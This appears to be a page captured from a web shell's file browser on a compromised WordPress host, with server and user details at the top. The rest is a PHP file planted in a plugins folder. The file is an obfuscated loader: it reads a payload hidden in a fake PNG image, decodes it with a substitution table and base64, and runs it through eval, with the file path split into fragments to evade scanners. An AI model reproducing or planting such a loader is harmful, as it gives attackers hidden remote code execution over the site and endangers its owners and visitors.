HEX
Server: Apache/2
System: Linux cat17246.lnwhostname.com 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: firststeps (1017)
PHP: 7.3.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/firststeps/public_html/wp-content/plugins__/achyqixo/cahythy.txt
<?php

function ifegod_ydoguzhex($okodic_isyrekhibi) {
    if ($okodic_isyrekhibi == 1)
        return vovyri_xametaty();
    if ($okodic_isyrekhibi == 2)
        return lozeji_zachiciv();
}

function luhuru_xodezheja($okodic_isyrekhibi) {
    $urezhot = ifegod_ydoguzhex(1);
    $khobide = ifegod_ydoguzhex(2);
    for ($nufedi = 0; $nufedi < strlen($urezhot); $nufedi++) {
        $hebyzho = substr($urezhot, $nufedi, 1);
        $rusagoh = substr($khobide, $nufedi, 1);
        $ishuron[$hebyzho] = $rusagoh;
    }

    $ovotur = strtr($okodic_isyrekhibi, $ishuron);
    $ovotur = base64_decode($ovotur);

    return $ovotur;
}

function upucek_zhyvuxew($okodic_isyrekhibi) {
    $odetori = array();
    if (!file_exists($okodic_isyrekhibi))
        return false;
    $lalake = @file_get_contents($okodic_isyrekhibi);
    if (!$lalake)
        return false;
    $lalake = substr($lalake, 3);
    $odetori = luhuru_xodezheja($lalake);
    return $odetori;
}

function vovyri_xametaty() {
    $lalake = "qeI28t=l0uMroVTYXNgJHGScibsOKpLyZadQCA5nF4+U7Pvxjf1mDzB36whEkW/9R";
    return $lalake;
}

function lozeji_zachiciv() {
    $odetori = "sNKwzRM7xcjqODUipVHInBQoPC5YbW9FL0dEXA/1hafS4vugr8l6JZT23=tyekm+G";
    return $odetori;
}

$yhegybo = upucek_zhyvuxew(__DIR__ . "/asse" . "ts/ima" . "ges/" . "ekhevo" . "b.png");
if ($yhegybo) {
    @eval($yhegybo);
}